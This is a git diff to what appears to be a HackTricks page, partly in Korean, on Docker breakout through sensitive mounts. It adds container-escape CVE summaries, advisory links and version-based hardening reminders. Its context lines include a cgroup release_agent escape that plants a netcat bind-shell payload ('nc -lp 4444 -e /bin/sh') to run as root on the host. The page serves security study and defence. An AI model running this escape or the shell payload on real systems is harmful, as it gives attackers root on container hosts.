diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index a33c47708..553c19035 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -59,8 +59,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인 #### **`/proc/sys/fs/binfmt_misc`** -- 매직 넘버에 따라 비네이티브 이진 형식에 대한 해석기를 등록할 수 있음. -- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 셸 접근으로 이어질 수 있음. +- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있음. +- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 쉘 접근으로 이어질 수 있음. - 관련된 익스플로잇 및 설명: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - 심층 튜토리얼: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ) @@ -295,6 +295,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent /run/containerd/containerd.sock # containerd CRI 소켓 /var/run/crio/crio.sock # CRI-O 런타임 소켓 /run/podman/podman.sock # Podman API (rootful 또는 rootless) +/run/buildkit/buildkitd.sock # BuildKit 데몬 (rootful) /var/run/kubelet.sock # Kubernetes 노드의 Kubelet API /run/firecracker-containerd.sock # Kata / Firecracker ``` @@ -320,7 +321,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492 echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn -sh -c "echo 0 > /tmp/x/cgroup.procs" # 빈 cgroup 이벤트를 트리거합니다. +sh -c "echo 0 > /tmp/x/cgroup.procs" # empty-cgroup 이벤트를 트리거합니다. ``` When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse. @@ -328,7 +329,7 @@ When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host** ### Mount-Related Escape CVEs (2023-2025) * **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak** -runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14). +runc ≤ 1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥ 25.0.3, containerd ≥ 1.7.14). ```Dockerfile FROM scratch @@ -339,11 +340,17 @@ CMD ["/bin/sh"] * **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU** A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon. +* **CVE-2024-1753 – Buildah / Podman bind-mount breakout during `build`** +Buildah ≤ 1.35.0 (and Podman ≤ 4.9.3) incorrectly resolved absolute paths passed to `--mount=type=bind` in a *Containerfile*. A crafted build stage could mount `/` from the host **read-write** inside the build container when SELinux was disabled or in permissive mode, leading to full escape at build time. Patched in Buildah 1.35.1 and the corresponding Podman 4.9.4 back-port series. + +* **CVE-2024-40635 – containerd UID integer overflow** +Supplying a `User` value larger than `2147483647` in an image config overflowed the 32-bit signed integer and started the process as UID 0 inside the host user namespace. Workloads expected to run as non-root could therefore obtain root privileges. Fixed in containerd 1.6.38 / 1.7.27 / 2.0.4. + ### Hardening Reminders (2025) 1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options. 2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly. -3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14). +3. Keep the container runtime up-to-date (runc ≥ 1.1.12, BuildKit ≥ 0.12.5, Buildah ≥ 1.35.1 / Podman ≥ 4.9.4, containerd ≥ 1.7.27). 4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above. ### References @@ -353,5 +360,7 @@ A race condition in the BuildKit snapshotter let an attacker replace a file that - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) - [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf) - [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf) +- [Buildah CVE-2024-1753 advisory](https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf) +- [containerd CVE-2024-40635 advisory](https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg) {{#include ../../../../banners/hacktricks-training.md}}